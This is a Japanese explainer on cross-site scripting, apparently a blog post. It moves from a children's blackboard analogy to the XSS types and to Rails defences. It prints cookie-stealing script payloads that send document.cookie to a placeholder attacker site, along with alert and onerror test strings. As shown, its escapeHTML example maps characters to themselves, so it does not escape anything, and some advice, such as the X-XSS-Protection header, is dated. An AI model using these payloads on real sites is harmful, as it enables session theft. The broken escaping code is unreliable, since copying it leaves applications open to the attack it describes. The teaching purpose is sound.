XSS ってなに?
クロスサイトスクリプティング(XSS)は、簡単に言うと「悪い人がウェブサイトに仕掛けた罠」みたいなもの。
学校の黒板で例えてみる
-
ふつうの黒板:
先生が黒板に「今日の宿題は算数のドリルです」と書きます。これは安全。 -
XSSの黒板:
悪い人(悪太郎くん)が黒板に「今日の宿題は算数のドリルです。あと、みんなのおやつを悪太郎くん全部渡してください」と書いてしまう。そして、本当の先生が書いたように見せかける。
インターネットでの例
-
コメント欄の罠:
- あなたが好きなゲームの掲示板があるとします
- 普通の人は「このゲーム楽しいね!」とコメントします
- でも悪い人は特別な文字(プログラムの命令)を含んだコメントを書きます
- そのコメントを見た人のパソコンで、悪いプログラムが動いてしまう
-
何が起こるの?:
- あなたのパスワードが盗まれる
- あなたのアカウントで勝手に投稿される
- 変なポップアップが出てくる
- 知らないうちに別のサイトに行ってしまう
はい、こんな感じになりますが 詳しく説明↓↓↓
クロスサイトスクリプティング(XSS)の詳細説明
XSSの仕組み(技術的な詳細)
クロスサイトスクリプティング攻撃では、攻撃者は悪意のあるコード(通常JavaScriptコード)をウェブサイトに注入します。
具体的な手順:
-
攻撃コードの作成:
攻撃者はJavaScriptなどのコードを作成。例えば:
<script> document.location='https://悪いサイト.com/steal.php?cookie='+document.cookie; </script>
このコードはユーザーのCookie情報を盗み出そうとしています。
-
コードの注入:
攻撃者はこのコードをウェブサイトに送信します。注入経路として代表的なのは:- コメント欄
- 検索フォーム
- URLパラメータ
- プロフィール情報
-
コードの保存と実行:
- 反射型XSS:ユーザーがリンクをクリックすると、サーバーがそのコードをそのまま返し、実行される
- 格納型XSS:コードがデータベースに保存され、他のユーザーがページを訪れるたびに実行される
- DOM型XSS:ブラウザ内でJavaScriptがURLなどから取得したデータを安全に処理せずにページに挿入し、実行される
具体的な攻撃例
例1:Cookieの盗難(セッションハイジャック)
- 攻撃者が掲示板に悪意あるスクリプトを投稿
- 管理者がその投稿を見る
- スクリプトが実行され、管理者のCookieが攻撃者のサーバーに送信される
- 攻撃者はそのCookieを使って管理者になりすまし
例2:フィッシング攻撃
- 攻撃者が偽のログインフォームを作るコードを注入
- ユーザーがそのページを訪れると、本物そっくりのログイン画面が表示される
- ユーザーが情報を入力すると、攻撃者のサーバーに送信される
例3:ウェブサイトの改ざん
- XSSを使って管理者の権限を奪取
- ウェブサイトのコンテンツを変更
- 訪問者全員に悪意あるコードが配信される
防御方法(詳細)
ウェブサイト開発者側の対策
-
入力検証と出力エンコード:
// XSS攻撃を防ぐためのHTMLエスケープ関数の例 function escapeHTML(str) { return str.replace(/[&<>"']/g, function(match) { return { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[match]; }); }
-
Content Security Policy (CSP):
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
これにより、信頼できるソースからのスクリプトのみ実行可能に。
-
HTTPOnly Cookie:
Set-Cookie: sessionId=abc123; HttpOnly
JavaScriptからCookieへのアクセスを防止。
-
X-XSS-Protection ヘッダー:
X-XSS-Protection: 1; mode=block
ブラウザの組み込みXSS対策を有効化。
ユーザー側の対策
-
ブラウザーの更新:最新のセキュリティパッチを適用
-
セキュリティ拡張機能:NoScript、uBlock Originなどの使用
-
不審なリンクの回避:特に長いURLや奇妙なパラメータがついたものに注意
-
ログイン情報の定期的な変更:万が一情報が漏れても被害を最小限に
XSSの種類(詳細)
1. 反射型XSS(Reflected XSS)
https://example.com/search?q=<script>alert('XSS')</script>
このURLをクリックすると、サーバーがそのままスクリプトを返し、実行されます。
2. 格納型XSS(Stored XSS)
掲示板に以下のコメントを投稿:
素晴らしい記事です!<script>fetch('https://悪いサイト.com/steal?cookie='+document.cookie)</script>
このコメントを見た全員が攻撃を受けます。
3. DOM型XSS(DOM-based XSS)
// 危険なJavaScriptコード
document.getElementById("welcome").innerHTML =
"ようこそ、" + location.hash.substring(1) + "さん!";
URLが https://example.com/page.html#<img src=x onerror=alert('XSS')>
の場合、スクリプトが実行されます。
Ruby on Rails アプリケーションにおいてXSSを防ぐ具体的な方法は?
Railsはデフォルトでいくつかの保護機能を持っています。
Railsのデフォルト保護機能
-
自動エスケープ
Railsのビューテンプレート(ERB)では、<%= ... %>
で出力される内容は自動的にHTMLエスケープされます。なるべく使いましょう<!-- 安全: 自動的にエスケープされる --> <%= user_input %>
-
Strong Parameters
コントローラでパラメータをフィルタリングすることで、不正なデータの挿入を防止します。# パラメータを明示的に許可 def user_params params.require(:user).permit(:name, :email) end
追加の対策(Gem など)
-
Content Security Policy (CSP)の設定
SecureHeaders
gemを使用して設定する例
# Gemfile
gem 'secure_headers'
# config/initializers/secure_headers.rb
SecureHeaders::Configuration.default do |config|
config.csp = {
default_src: %w('self'),
script_src: %w('self' 'unsafe-inline'),
style_src: %w('self' 'unsafe-inline'),
# 他の設定...
}
end
-
サニタイザーの使用
HTMLを許可する場合は、
sanitize
ヘルパーを使用:<%= sanitize user_content %>
特定のタグだけ許可:
sanitize user_content, tags: %w(h1 h2 h3 p b i), attributes: %w(id class)
-
セキュアなCookieの設定
# config/initializers/session_store.rb Rails.application.config.session_store :cookie_store, key: '_app_session', secure: Rails.env.production?, httponly: true
-
X-XSS-Protection ヘッダーの設定
# application_controller.rb before_action :set_xss_protection def set_xss_protection response.headers['X-XSS-Protection'] = '1; mode=block' end
-
JSONレスポンスのエスケープ
# ApplicationController def json_response(object, status = :ok) render json: ERB::Util.json_escape(object.to_json), status: status end
-
ビューヘルパーの作成
# app/helpers/application_helper.rb def safe_markdown(text) sanitize(markdown(text), tags: %w(p strong em h1 h2 h3 ul ol li)) end
-
brakeman gemの利用
セキュリティ脆弱性を検出するための静的解析ツール:
# Gemfile group :development do gem 'brakeman', require: false end
実行:
bundle exec brakeman
注意すべき危険なパターン
-
ヘルパーメソッドを使わない
# 危険な例 def profile_link(user) "<a href='/users/#{user.id}'>#{user.name}</a>".html_safe end # 安全な例 def profile_link(user) link_to(user.name, user_path(user)) end
-
JavaScriptでのデータ埋め込み
<!-- 危険な例 --> <script> var username = "<%= @user.name %>"; // @user.nameに " や </script> が含まれていると危険 </script> <!-- 安全な例 --> <script> var username = <%= raw @user.name.to_json %>; </script>
Rails アプリケーションにおける、定期的なセキュリティアップデートの適用も重要です。
おわりに
XSSは単純なようで非常に複雑な攻撃手法で、ウェブセキュリティの主要な脅威の一つ。
多層的な防御が重要で、開発者とユーザーの両方が注意を払う必要がある。